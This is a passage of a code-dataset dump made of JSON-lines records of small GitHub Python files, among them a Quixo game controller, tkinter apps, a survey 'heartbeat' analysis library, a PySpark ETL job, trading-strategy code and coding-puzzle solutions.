4):\n self.model.insertAtRow(\n i, 4, 0, -1, self.view.tempBtnClickedInfo)\n self.endOfSelection()\n\n elif (i != self.view.tempBtnClickedInfo[1] and j == self.view.tempBtnClickedInfo[2]):\n if (i == 0):\n self.model.insertAtColumn(\n j, 4, 0, 1, self.view.tempBtnClickedInfo)\n self.endOfSelection()\n elif (i == 4):\n self.model.insertAtColumn(\n j, 4, 0, -1, self.view.tempBtnClickedInfo)\n self.endOfSelection()\n\n # After a player played\n def endOfSelection(self):\n self.setBoardFromSimplified(self.model.board)\n self.view.selectingPosition = False\n self.view.selectingDirection = False\n self.view.disableAllButton()\n winner = self.model.endOfTurn()\n if (winner is not None):\n view.endGame(winner)\n self.setBoardFromSimplified(self.model.board)\n self.view.enableAllPossibleButton(self.model.getPlayerSymbol())\n\n # Create a matrix of string from the grid representing the graphical board\n def getSimplifiedBoard(self):\n boardSimplified = []\n for i in range(0, 5):\n boardSimplified.append(range(0, 5))\n for i in range(0, 5):\n for j in range(0, 5):\n boardSimplified[i][j] = self.view.matrixOfButton[i][j][\"text\"]\n return boardSimplified\n\n # From a matrix of string, update the graphical grid\n def setBoardFromSimplified(self, boardSimplified):\n for i in range(0, 5):\n for j in range(0, 5):\n self.view.matrixOfButton[i][j][\"text\"] = boardSimplified[i][j]\n\n def aiPlay(self):\n self.model.aiPlay()\n self.setBoardFromSimplified(self.model.board)\n","repo_name":"FlachaireNathan/PROJECT_Quixo","sub_path":"controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":5661,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"44043373432","text":"from tkinter import *\r\nfrom threading import Thread\r\nfrom tkinter.colorchooser import askcolor\r\n\r\n\r\nclass Draw:\r\n def __init__(self):\r\n self.tk = Tk()\r\n\r\n self.line = Button(text=\"Line\", command=self.start_line_thread)\r\n self.line.place(x=30, y=20, anchor=CENTER)\r\n\r\n self.line_colour_button = Button(text=\"Line colour\", command=self.change_line_colour)\r\n self.line_colour_button.place(x=100, y=20, anchor=CENTER)\r\n\r\n self.line_thickness = Entry(width=5)\r\n self.line_thickness.place(x=170, y=20, anchor=CENTER)\r\n self.line_thickness.insert(0, \"2\")\r\n self.line_thickness.bind(\"\", self.change_width)\r\n\r\n self.canvas = Canvas(width=500, height=500, bg=\"#ffffff\")\r\n self.canvas.pack(pady=50)\r\n\r\n self.x1 = None\r\n self.y1 = None\r\n self.x2 = None\r\n self.y2 = None\r\n self.first = None\r\n self.second = None\r\n self.line_width = 2\r\n\r\n self.line_colour = \"#000000\"\r\n\r\n self.tk.bind(\"\", self.click)\r\n\r\n def start(self):\r\n self.tk.mainloop()\r\n\r\n def change_width(self, event):\r\n self.line_width = int(self.line_thickness.get())\r\n print(self.line_width)\r\n\r\n def start_line(self):\r\n self.first = False\r\n self.second = False\r\n while not self.first or not self.second:\r\n pass\r\n print(\"made line\")\r\n self.canvas.create_line(self.x1, self.y1, self.x2, self.y2, fill=self.line_colour, width=self.line_width)\r\n self.canvas.update()\r\n self.first = None\r\n self.second = None\r\n\r\n def change_line_colour(self):\r\n self.line_colour = askcolor()[1]\r\n\r\n def start_line_thread(self):\r\n t = Thread(target=self.start_line)\r\n t.start()\r\n print(\"started\")\r\n\r\n def click(self, event):\r\n if not self.first:\r\n self.x1 = event.x\r\n self.y1 = event.y\r\n print(\"1s set\")\r\n self.first = True\r\n\r\n else:\r\n self.x2 = event.x\r\n self.y2 = event.y\r\n print(\"2s set\")\r\n self.second = True\r\n\r\n\r\ndraw = Draw()\r\ndraw.start()\r\n","repo_name":"James46113/All-Python-Scripts","sub_path":"scripts-from-onedrive/PC02/Unit 19/drawing.py","file_name":"drawing.py","file_ext":"py","file_size_in_byte":2171,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"30011451022","text":"import pandas as pd\nimport matplotlib.pyplot as plt\n\nif __name__ == \"__main__\":\n nested_df = pd.read_csv(\"nested.csv\")\n serial_df = pd.read_csv(\"serial.csv\")\n\n fig, ax = plt.subplots(2)\n nested_df.plot(ax=ax[0], y=\"time\", label=\"Nested\")\n ax[0].set_ylabel(\"Time t / s\")\n serial_df.plot(ax=ax[1], y=\"time\", label=\"Serial\")\n ax[1].set_ylabel(\"Time t / s\")\n plt.show()","repo_name":"PythonFZ/ZnTrackPerformanceTest","sub_path":"analyse.py","file_name":"analyse.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"11706533645","text":"import json\n\nfrom govbot import snapshot, firestore\n\nif __name__ == \"__main__\":\n allowed_spaces = []\n spaces = snapshot.get_spaces()\n filtered_spaces = [s for s in spaces if s.proposals_count > 3]\n for space in filtered_spaces:\n\n stored_num_votes = firestore.get_avg_space_voters(space.id)\n if stored_num_votes > 10 and stored_num_votes != 10000.0:\n print(space.id, space.proposals_count, stored_num_votes)\n allowed_spaces.append(space.id)\n\n with open(\"../govbot/allowed_spaces.json\", \"w+\") as outfi:\n json.dump(allowed_spaces, outfi)\n","repo_name":"stephenthoma/propbot","sub_path":"fodder/update_allowed_spaces.py","file_name":"update_allowed_spaces.py","file_ext":"py","file_size_in_byte":593,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"30"} +{"seq_id":"8638007525","text":"from glob import glob\nimport sys\nsys.setrecursionlimit(100000)\n\ninput = sys.stdin.readline\n\nN = int(input())\n\nar = []\n\nfor i in range(N):\n ar.append(list(map(int, input().split())))\n\ndp = [[0 for i in range(N)] for j in range(N)]\n\ndp[0][0] = 1\n\nfor i in range(N):\n for j in range(N):\n if i == N-1 and j == N-1:\n break\n\n if i + ar[i][j] < N:\n dp[i + ar[i][j]][j] += dp[i][j]\n if j + ar[i][j] < N:\n dp[i][j + ar[i][j]] += dp[i][j]\n\nprint(dp[N-1][N-1])\n ","repo_name":"hoya54/BOJ","sub_path":"1890_dp.py","file_name":"1890_dp.py","file_ext":"py","file_size_in_byte":518,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"71131393365","text":"from typing import List, Tuple\n\nimport numpy as np\nimport pandas as pd\nimport altair as alt\n\n\ndef calculate_score(row, col, cols, threshold):\n \"\"\"\n Calculate a score based on a z-score for a specific value in a DataFrame row.\n\n Args:\n row (pd.Series): A pandas Series representing a row in a DataFrame.\n col (str): The name of the column for which the z-score should be calculated.\n cols (list of str): A list of column names used to calculate the mean and standard deviation.\n threshold (float): The threshold value for classifying the z-score.\n\n Returns:\n int: A score based on the z-score and threshold. Returns 1 if z-score is above threshold,\n -1 if z-score is below -threshold, 0 otherwise. If row_std is 0, returns 0. If row[col] is NaN, returns NaN.\n \"\"\" # noqa: E501\n\n row_mean = row[cols].mean(skipna=True)\n row_std = row[cols].std(skipna=True)\n if np.isnan(row[col]):\n return np.NaN\n elif row_std == 0:\n return 0\n else:\n zscore = (row[col] - row_mean) / row_std\n\n if threshold < zscore:\n return 1\n elif (-1 * threshold) > zscore:\n return -1\n else:\n return 0\n\n\ndef create_sample_data(ncols: int = 10, nrows: int = 10) -> Tuple[pd.DataFrame, List]:\n \"\"\"\n Creates a sample survey DataFrame with random integer values.\n\n Args:\n ncols (int): The number of columns in the DataFrame. Default is 10.\n nrows (int): The number of rows in the DataFrame. Default is 10.\n\n Returns:\n pd.DataFrame: A DataFrame with an 'ID' column, 'ncols' number of columns\n with random values 1-5 and 'nrows' number of rows.\n List: A list of names of the Likert columns created\n\n Example:\n >>> df, cols = create_sample_data(ncols=5, nrows=5)\n df.head()\n ID Q1 Q2 Q3 Q4 Q5\n 0 1 4 2 4 2 3\n 1 2 4 5 5 1 3\n 2 3 2 5 2 5 2\n 3 4 1 1 3 1 3\n 4 5 5 3 2 3 5\n print(cols)\n [\"Q1\", \"Q2\", \"Q3\", \"Q4\", \"Q5\"]\n \"\"\"\n data = {\"ID\": range(1, nrows + 1)}\n\n random_data = np.random.randint(1, 6, size=(nrows, ncols))\n column_names = [f\"Q{i}\" for i in range(1, ncols + 1)]\n\n sample_data = pd.DataFrame(\n data=np.column_stack((data[\"ID\"], random_data)), columns=[\"ID\"] + column_names\n )\n\n return sample_data, column_names\n\n\ndef calculate_votes(\n data: pd.DataFrame, columns: List[str], threshold: float = 1.0\n) -> Tuple[pd.DataFrame, pd.DataFrame]:\n \"\"\"\n Calculates upvotes and downvotes based on the specified threshold.\n\n Args:\n data (DataFrame): The input survey data containing the Likert columns of interest.\n columns (List[str]): A list of column names in the dataset to be processed.\n threshold (float, optional): The threshold value used for creating votes. Default is 1.0.\n\n Returns:\n DataFrame: A modified copy of the input dataset with the specified columns'\n values replaced with votes.\n DataFrame: A dataframe with columns 'individual_mean' containing the mean\n of the columns specified, and 'individual_sd' containing the standard deviation\n of the columns specified.\n\n Example:\n import pandas as pd\n import numpy as np\n\n # Create a sample dataset\n data = pd.DataFrame({\n 'ID': [1, 2, 3, 4, 5]\n 'A': [1, 2, 3, 4, 5],\n 'B': [2, 3, 4, 5, 1],\n 'C': [3, 4, 5, 6, 1],\n 'D': [4, 5, 6, 2, 4],\n 'E': [5, 6, 2, 1, 4]\n })\n\n # Define the columns to be processed\n columns = ['A', 'B', 'C', 'D', 'E']\n\n # Call the calculate_votes function\n votes, stats = calculate_votes(data, columns, threshold=1)\n\n \"\"\" # noqa: E501\n if threshold <= 0:\n raise ValueError(\n \"Threshold must be a positive number of standard deviations\"\n \" above the mean to define an upvote.\"\n )\n\n if not isinstance(columns, list):\n # in case a pandas Index gets passed\n columns = list(columns)\n likert_cols = data[columns]\n\n # Check if all the values passed are integers, or NAN values since likert\n # data must be an integer range (e.g. 1-5)\n def check_integer_or_nan(column):\n return column.apply(lambda x: (x % 1 == 0) or pd.isna(x)).all()\n\n all_int_bool = all([check_integer_or_nan(data[col]) for col in columns])\n\n if not all_int_bool:\n raise TypeError(\"Non-integer columns passed\")\n\n # Create mean and standard deviation metadata\n stats = pd.DataFrame()\n stats[\"individual_sd\"] = likert_cols.std(axis=1, skipna=True)\n stats[\"individual_mean\"] = likert_cols.mean(axis=1, skipna=True)\n\n # Calculate votes data\n votes = data.copy()\n for col in columns:\n votes[col] = data.apply(\n lambda row: calculate_score(row, col, columns, threshold), axis=1\n )\n\n return votes, stats\n\n\ndef percent_neutral(series):\n series = series.dropna()\n return (series == 0).sum() / len(series)\n\n\ndef percent_upvote(series):\n series = series.dropna()\n return (series == 1).sum() / len(series)\n\n\ndef percent_downvote(series):\n series = series.dropna()\n return (series == -1).sum() / len(series)\n\n\ndef calculate_summary(votes: pd.DataFrame, columns: List[str]) -> pd.DataFrame:\n \"\"\"\n Calculate the summary of heartbeat analysis for each question in the given dataset.\n\n Args:\n votes (DataFrame): The dataset containing the votes, created by calculate_votes().\n columns (list): A list of likert question column names in the votes dataset.\n\n Returns:\n DataFrame: A summary DataFrame with the following columns:\n - Question: The question number.\n - Upvote: The percentage of upvotes for the question.\n - Downvote: The percentage of downvotes for the question.\n - Neutral: The percentage of neutral votes for the question.\n - Controversy_Score: The calculated controversy score for the question.\n \"\"\" # noqa: E501\n\n # Check dataframe only consists of upvotes/downvotes/zeros:\n vote_values = [-1, 0, 1]\n\n if not all([all(votes[col].isin(vote_values)) for col in columns]):\n raise ValueError(f\"Vote dataframe contains values other than {vote_values}\")\n\n summary = (\n votes.melt(value_vars=columns, var_name=\"Question\", value_name=\"vote\")\n .groupby([\"Question\"])\n .agg(\n **{\n \"Upvote\": (\"vote\", percent_upvote),\n \"Downvote\": (\"vote\", percent_downvote),\n \"Neutral\": (\"vote\", percent_neutral),\n }\n )\n .reset_index()\n )\n\n summary[\"Controversy_Score\"] = (\n (summary[\"Upvote\"] + summary[\"Downvote\"])\n - abs((summary[\"Upvote\"] - summary[\"Downvote\"]))\n ) / summary[\"Neutral\"]\n\n return summary\n\n\ndef visualize_heartbeat(\n summary: pd.DataFrame,\n title: str = \"Heartbeat Analysis\",\n question_col: str = \"Question\",\n y_axis_title: str = \"Question\",\n sort_by: str = None,\n sort_ascending: bool = True,\n) -> alt.vegalite.v5.api.Chart:\n \"\"\"Visualize Heartbeat\n\n Generates a stacked bar chart to visualize the results of heartbeat analysis.\n The function takes in a summary dataframe generated by calculate_summary()\n containing columns [question_col, \"Downvote\", \"Neutral\", \"Upvote\", \"Percentage\"],\n and optional parameters for customization.\n\n Args:\n\n summary (pd.DataFrame): The summary dataframe containing the heartbeat\n analysis data. This can be generated by the function calculate_summary().\n title (str): The title of the chart (default: \"Heartbeat Analysis\").\n question_col (str): The name of the column in the summary dataframe that\n contains the question names to be displayed on the y-axis\n (default: \"Question\").\n y_axis_title (str): The title of the y-axis (default: \"Question\").\n sort_by Optional[str]: The column in the input dataframe to sort the questions\n by (default: None).\n sort_ascending Optional[bool]: Specifies the sort order of the questions\n (default: True). Not used if no `sort_by` column is provided.\n\n Returns:\n alt.vegalite.v5.api.Chart: The generated bar chart as an Altair chart object.\n \"\"\"\n\n if question_col not in summary.columns:\n raise IndexError(f\"{question_col} not found in summary DataFrame\")\n if sort_by and sort_by not in summary.columns:\n raise IndexError(\"sort_by column not present in summary DataFrame\")\n\n expected_columns = [\"Downvote\", \"Neutral\", \"Upvote\"]\n found_columns = [col for col in summary if col in expected_columns]\n\n if not set(expected_columns) == set(found_columns):\n raise ValueError(\n f\"Summary table must include the following columns: {expected_columns}\",\n )\n\n # Generate sort order list for visual\n if sort_by:\n questions_sort_order = summary.sort_values(sort_by, ascending=sort_ascending)[\n question_col\n ].tolist()\n else:\n questions_sort_order = summary[question_col].tolist()\n\n summary_melted = summary.melt(\n id_vars=[question_col],\n value_vars=expected_columns,\n var_name=\"Type\",\n value_name=\"Percentage\",\n )\n\n color_scale = alt.Scale(\n domain=expected_columns,\n range=[\"#c30d24\", \"#cccccc\", \"#1770ab\"],\n )\n\n y_axis = alt.Axis(\n title=y_axis_title,\n offset=5,\n ticks=False,\n minExtent=60,\n domain=False,\n )\n\n chart = (\n alt.Chart(summary_melted, title=title)\n .mark_bar()\n .encode(\n alt.X(\n \"Percentage\", axis=alt.Axis(format=\"%\"), scale=alt.Scale(domain=(0, 1))\n ),\n y=alt.Y(f\"{question_col}:N\", sort=questions_sort_order).axis(y_axis),\n color=alt.Color(\"Type:N\").title(\"Response\").scale(color_scale),\n tooltip=[\n f\"{question_col}\",\n \"Type\",\n alt.Tooltip(\"Percentage\", format=\".1%\"),\n ],\n )\n )\n\n return chart\n","repo_name":"RTIInternational/heartbeatpy","sub_path":"src/heartbeatpy/calculate_votes.py","file_name":"calculate_votes.py","file_ext":"py","file_size_in_byte":10186,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"22562779078","text":"##################################\n#encoding=utf8 #\n#version =py27, py33 #\n#author =sanhe #\n#date =2014-10-29 #\n# #\n# (\\ (\\ #\n# ( -.-)o I am a Rabbit! #\n# o_(\")(\") #\n# #\n##################################\n\n\"\"\"\n许多时候我们有一个函数f, 由于一些随机因素,有可能成功,也有可能不成功。所以我们在程序中有这样的需要:\n 对某个不确定成功的函数尝试N次,如果N次都不成功,抛出不成功所带来的异常。如果成功,就继续进行下去。\n用户可以自定义是否将异常写入日志\n\"\"\"\n\nfrom __future__ import print_function\nimport random\n\ndef rand_string(length):\n \"\"\"length fixed random string generator\"\"\"\n test_chars = u\"0123456789abc\"\n return \"\".join([random.choice(test_chars) for i in range(length)])\n\ndef convert_int(length):\n \"\"\"将随机字符串转化为整数。由于随机字符串有可能出现abc,所以有一定概率失败\n \"\"\"\n s = rand_string(length)\n return int(s)\n\ndef tryit(howmany, func, *argv, **kwarg):\n \"\"\"这个函数使用了一个重要的技巧将原函数的参数原封不动的封装成tryit这个函数的参数了\n 用户只要跟使用func原函数一样使用tryit函数就好了,只不过在前面多了两个howmany和func的参数\n howmany 是尝试次数\n func 是你所要尝试的函数\n *argv, **kwarg 是func中的参数\n \"\"\"\n flag = 1\n while flag <= howmany:\n try:\n return func(*argv, **kwarg)\n except Exception as e:\n flag += 1\n raise e\n\nif __name__ == \"__main__\":\n \"\"\"在主程序中,我们只需要用一个简单的try except调用tryit就可以了\"\"\"\n try:\n print(tryit(3, convert_int, 10) )\n except Exception as e:\n print(e) # 当然用户也可以选择把异常写入日志","repo_name":"MacHu-GWU/six-demon-bag","sub_path":"02_Python_Cookbook/exception_handling/try_several_time.py","file_name":"try_several_time.py","file_ext":"py","file_size_in_byte":2013,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"6905034286","text":"import configparser\nfrom datetime import datetime\nimport os\nfrom pyspark.sql import SparkSession\nfrom pyspark.sql.functions import udf, col\nfrom pyspark.sql.functions import year, month, dayofmonth, hour, weekofyear, date_format\nfrom pyspark.sql.functions import from_utc_timestamp\nimport calendar\n\nconfig = configparser.ConfigParser()\nconfig.read('dl.cfg')\n\nos.environ[\"AWS_ACCESS_KEY_ID\"]= config['AWS']['AWS_ACCESS_KEY_ID']\nos.environ[\"AWS_SECRET_ACCESS_KEY\"]= config['AWS']['AWS_SECRET_ACCESS_KEY']\n\n\ndef create_spark_session():\n spark = SparkSession \\\n .builder \\\n .config(\"spark.jars.packages\", \"org.apache.hadoop:hadoop-aws:2.7.0\") \\\n .getOrCreate()\n return spark\n\n#This function will extract data from udacity s3 bucket transform the data\n# and load into a seperate s3 bucket\n\ndef process_song_data(spark, input_data, output_data):\n\n song_data = input_data + \"song_data/A/B/C/*.json\"\n\n \n \n df = spark.read.json(song_data)\n\n \n songs_table = df[['song_id','title','artist_id','year','duration']].drop_duplicates()\n \n \n songs_table.write.partitionBy(\"year\", \"artist_id\").mode('overwrite').parquet(output_data+\"song\")\n \n\n \n artists_table = df[['artist_id','artist_name','artist_location','artist_latitude','artist_longitude']].drop_duplicates()\n \n \n artists_table.write.mode('overwrite').parquet(output_data+\"artist\")\n\n#This function willl extract data from s3 bucket transform the data \n# Load the data into the s3 bucket. \n#This function will create the songplay table\n \ndef process_log_data(spark, input_data, output_data):\n \n log_data = input_data + \"log_data/2018/11/2018-11-12-events.json\"\n \n\n df = spark.read.json(log_data)\n \n \n df = df.filter(df.page == 'NextSong')\n \n \n users_table = df[['userId','firstName','lastName','gender','level']].drop_duplicates()\n \n \n users_table.write.mode('overwrite').parquet(output_data+\"users\")\n\n\n \n get_timestamp = udf(lambda x: datetime.fromtimestamp(x/1000).strftime('%Y-%m-%d %H:%M:%S'))\n df = df.withColumn('start_time', get_timestamp(df.ts))\n \n \n get_datetime = udf(lambda x: datetime.fromtimestamp(int(int(x)/1000)))\n get_week = udf(lambda x: calendar.day_name[x.weekday()])\n get_weekday = udf(lambda x: x.isocalendar()[1])\n get_hour = udf(lambda x: x.hour)\n get_day = udf(lambda x : x.day)\n get_year = udf(lambda x: x.year)\n get_month = udf(lambda x: x.month)\n \n \n df = df.withColumn('datetime', from_utc_timestamp(df.start_time,'tz'))\n df = df.withColumn('start_time', get_datetime(df.ts))\n df = df.withColumn('day', get_day(df.start_time))\n df = df.withColumn('week', get_week(df.start_time))\n df = df.withColumn('month', get_month(df.start_time))\n df = df.withColumn('year', get_year(df.start_time))\n df = df.withColumn('weekday', get_weekday(df.start_time))\n df = df.withColumn('hour', get_hour(df.start_time))\n \n time_table = df[['start_time','hour','day','week','month','year','weekday']].drop_duplicates()\n \n \n time_table.write.partitionBy(\"year\", \"month\").mode(\"overwrite\").parquet(output_data+\"time\")\n\n\n song_df = spark.read.parquet(output_data+\"song\")\n\n \n songplays_table = df.join(song_df, song_df.title == df['song']).select(\n df['datetime'],\n df['userId'],\n df['level'],\n song_df['song_id'],\n song_df['artist_id'],\n df['sessionId'],\n df['location'],\n df['userAgent'],\n df['year'],\n df['month']\n ).drop_duplicates()\n \n \n \n songplays_table.write.partitionBy(\"year\",\"month\").mode(\"overwrite\").parquet(output_data+\"songplays\")\n\n\ndef main():\n spark = create_spark_session()\n input_data = \"s3a://udacity-dend/\"\n output_data = \"s3a://datalackproject/project/\"\n process_song_data(spark, input_data, output_data) \n process_log_data(spark, input_data, output_data)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"malamin57/udacity_data_engineer","sub_path":"Data Lake/etl.py","file_name":"etl.py","file_ext":"py","file_size_in_byte":4093,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"30"} +{"seq_id":"1807715546","text":"# Functions to implement our trading strategy.\nimport numpy as np\nimport trading.process as proc\nimport trading.indicators as indicators \nfrom random import randint\n\ndef random(stock_prices, period=7, amount=5000, fees=20, ledger='ledger_random.txt'):\n '''\n Randomly decide, every period, which stocks to purchase,\n do nothing, or sell (with equal probability).\n Spend a maximum of amount on every purchase.\n\n Input:\n stock_prices (ndarray): the stock price data\n period (int, default 7): how often we buy/sell (days)\n amount (float, default 5000): how much we spend on each purchase\n (must cover fees)\n fees (float, default 20): transaction fees\n ledger (str): path to the ledger file\n\n Output: None\n \n the function \n '''\n # we will first define days and stocks\n days = len(stock_prices)\n stocks = len(stock_prices [0])\n N = stock_prices.shape[1]\n rng = np.random.default_rng()\n portfolio = proc.create_portfolio ([amount]*N,stock_prices,fees,ledger)\n \n # we will now make a decision variable that takes 3 values = 0,1,2\n #if the decision variable is 0, we do nothing\n #if the decision variable is 1, we call the buy function \n #if the decision variable is 2, we call the sell function \n for day in range(0, days, period):\n for stock in range(stocks):\n decision = rng.choice([0,1,2], p = [1/3,1/3,1/3])\n if decision == 0:\n continue # we are doing nothing, going on to next iteration \n elif decision == 1: \n date = day \n proc.buy(date, stock, amount, stock_prices, fees, portfolio, ledger)\n elif decision == 2: \n date = day\n proc.sell(date, stock, stock_prices, fees, portfolio, ledger) \n return None\n\n\n\ndef crossing_averages(stock_price, m=50, n=200):\n '''\n Input: \n stock_price(ndarray): single column with the shares prices over time for one stock\n m: period for the first moving average \n n: period for the slow moving average \n\n Output: list of decisions based on crossing_averages\n ''' \n #create numpy array for FMA and SMA \n fma = np.array(indicators.moving_average(stock_price, m))\n sma = np.array(indicators.moving_average(stock_price, n))\n\n days = len(stock_price) \n difference = fma - sma\n print(difference.shape)\n diffs = np.where(np.diff(fma - sma > 0))\n return diffs\n \n \ndef momentum(stock_price, period = 7, oscillator = 'stochastic', lowThreshold = 0.25, highThreshold = 0.75, waitingTime = 3, amount = 5000, fees = 20, ledger = \"ledger_momentum.txt\"): \n #take osc from the oscillator in indicator \n osc = indicators.oscillator(stock_price, n = period, osc_type = oscillator) \n length = len(stock_prices)\n portfolio = [0 for i in range (len(stock_price.shape[1]))]\n for i in range(0, length): \n if(osc[i] > highThreshold):\n proc.sell(i, 0, stock_price, fees, portfolio, ledger)\n elif(osc[i] < lowThreshold):\n proc.buy(i, 0, amount, stock_price, fees, portfolio, ledger)\n return ","repo_name":"Ishaanjolly/Algorithmic-Trading","sub_path":"trading/strategy.py","file_name":"strategy.py","file_ext":"py","file_size_in_byte":3154,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"72023933205","text":"from urllib.request import urlopen\nfrom bs4 import BeautifulSoup\nimport ssl\n\n# Ignore SSL certificate errors\nctx = ssl.create_default_context()\nctx.check_hostname = False\nctx.verify_mode = ssl.CERT_NONE\n\ninputUrl = input('Enter URL:')\nif len(inputUrl) < 1:\n inputUrl = 'http://py4e-data.dr-chuck.net/comments_1362836.html'\n\nhtml = urlopen(inputUrl, context=ctx).read()\nsoup = BeautifulSoup(html, 'html.parser')\n\n# Retrieve all of the span.comments tags\ntags = soup('span', { 'class': 'comments' })\nsum = 0\nfor tag in tags:\n sum += int(tag.text)\n\nprint(sum)\n","repo_name":"XL19860214/PY4E","sub_path":"12/urllib_fetch_comments_sum.py","file_name":"urllib_fetch_comments_sum.py","file_ext":"py","file_size_in_byte":563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"14732291374","text":"# -*- coding: utf-8 -*-\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nx = np.linspace(-3, 3, 50)\ny1 = 2 * x + 1\ny2 = x ** 2\nplt.figure(num=1, figsize=(8, 8), dpi=300)\nplt.plot(x, y1)\nplt.plot(x, y2, color='red', linewidth=2, linestyle='--')\n# plt.xlim(-1,2)\n# plt.ylim(-2,3)\n\nax = plt.gca()\n# 设置有边框和头部边框颜色为空right、top、bottom、left\nax.spines['right'].set_color('none')\nax.spines['top'].set_color('none')\n# 设置底边的移动范围,移动到y轴的0位置\n# data:移动y轴的位置 outward: axes:0.0 - 1.0之间的值,整个轴上的比例 center:('axes',0.5) zero:('data',0.0)\nax.spines['bottom'].set_position(('data', 0))\nax.spines['left'].set_position(('data', 0))\n# 利用axes对象设置轴线的显示范围,与plt.xlim(-1,2)和plt.ylim(-2,3)的作用相同\nax.set_xlim(-1, 2)\nax.set_ylim(-2, 3)\n# 利用axes对象设置坐标轴的标签\nax.set_xlabel('x data')\nax.set_ylabel('y data')\n\n# 设置坐标轴上的数字显示的位置,top:显示在顶部 bottom:显示在底部,默认是none\nax.xaxis.set_ticks_position('top')\nax.yaxis.set_ticks_position('left')\nplt.show()\n","repo_name":"kingry1/GraduationProject-Data-Visualization-System","sub_path":"Examples/matplotlib_examples/test1.py","file_name":"test1.py","file_ext":"py","file_size_in_byte":1131,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"24240744747","text":"from datetime import datetime\nfrom enum import Enum\n\nclass Configurations:\n\n destination_ip: str\n last_updated_monitor: datetime\n last_updated_external_performance: datetime\n last_updated_internal_performance: datetime\n last_updated_wifi_test: datetime\n \n def __new__(cls):\n if not hasattr(cls, 'instance'):\n cls.instance = super(Configurations, cls).__new__(cls)\n return cls.instance\n\n\nclass TypeOfUpdate(Enum):\n MONITOR = 1\n EXTERNAL_PERFORMANCE = 2\n INTERNAL_PERFORMANCE = 3\n WIFI = 4\n\nclass ProtocolOfPerformanceTest(Enum):\n TCP = 1\n UDP = 2\n\nclass TypeOfPerformanceTest(Enum):\n INTERNAL = 1\n EXTERNAL = 2\n\n\n\n\n ","repo_name":"SofiaRomeiro/netmonit-probes","sub_path":"pi/monitor/configurations.py","file_name":"configurations.py","file_ext":"py","file_size_in_byte":688,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"13277248777","text":"class Solution:\n def minPartitions(self, n: str) -> int:\n nums = [int(x) for x in list(n)]\n \n result = 0\n current = 0\n \n for i in reversed(range(len(nums))):\n if nums[i] > current:\n result += nums[i] - current\n current = nums[i]\n \n return result\n\nsolution = Solution()\nassert solution.minPartitions(\"32\") == 3\nassert solution.minPartitions(\"27346209830709182346\") == 9","repo_name":"OlegGasul/Leetcode","sub_path":"partitioning-into-minimum-number-of-deci-binary-numbers.py","file_name":"partitioning-into-minimum-number-of-deci-binary-numbers.py","file_ext":"py","file_size_in_byte":476,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"35068040318","text":"\nimport tkinter as tk\nfrom tkinter import ttk\nfrom tkinter.font import Font\nfrom os import path\nfrom os.path import join\n\n\nclass Timer:\n \"\"\"\n The UI app for the timer screen\n \"\"\"\n\n def __init__(self):\n app = tk.Tk()\n # app.geometry(\"%dx%d+%d+%d\" % (450, 300, 50, -10))\n app.title(\"Fani's pomodoro\")\n app.configure(background=\"red\")\n app.iconphoto(False, tk.PhotoImage(file=\"Fani.png\"))\n app.configure(pady=10, padx=20)\n app.resizable(False, False)\n\n self.add_label()\n\n app.mainloop()\n\n def add_label(self):\n heading = Font(size=16, weight=\"bold\")\n\n style = ttk.Style()\n style.configure(\"Label\", font=heading,\n foreground=\"white\", background=\"red\")\n\n label = ttk.Label(text=\"Welcome back, Fani\",\n style=\"Label\", padding=(10, 10))\n label.grid(row=0, column=0, columnspan=4)\n","repo_name":"Fani2000/Pomodora","sub_path":"TimerUI.py","file_name":"TimerUI.py","file_ext":"py","file_size_in_byte":933,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"4993536422","text":"from src.day3.gamma_epsilon_calc import GammaEpsilonCalc\nfrom src.day3.oxy_co2_calc import OxyCo2Calc\nfrom file_reader import FileReader\n\nfr = FileReader()\ndata = fr.read_as_str_lines(\"../../data/day3_in.txt\")\n\ncalculator = GammaEpsilonCalc(data)\ncalculator.calculate_gamma_epsilon()\ngamma = calculator.gamma\nepsilon = calculator.epsilon\n\nprint('problem1: ' + str(gamma.as_decimal() * epsilon.as_decimal()))\n\n\noxyCalc = OxyCo2Calc('oxy')\noxy = oxyCalc.find_binary(data)\nco2Calc = OxyCo2Calc('co2')\nco2 = co2Calc.find_binary(data)\nprint('problem2: ' + str(oxy.as_decimal() * co2.as_decimal()))\n# difficulty 2\n","repo_name":"jpjocke/aoc2021","sub_path":"src/day3/day3.py","file_name":"day3.py","file_ext":"py","file_size_in_byte":608,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"23814820822","text":"import pandas as pd\r\nimport numpy as np\r\nfrom sklearn.linear_model import LogisticRegression\r\nfrom sklearn.model_selection import KFold, GridSearchCV, cross_val_score as score\r\nfrom sklearn.feature_extraction.text import TfidfVectorizer, CountVectorizer\r\nfrom sklearn.pipeline import make_pipeline\r\nimport io\r\nfrom collections import Counter\r\nfrom scipy.sparse import hstack\r\nimport nltk\r\nfrom nltk.stem.porter import PorterStemmer\r\n\r\n\r\ndata_train = 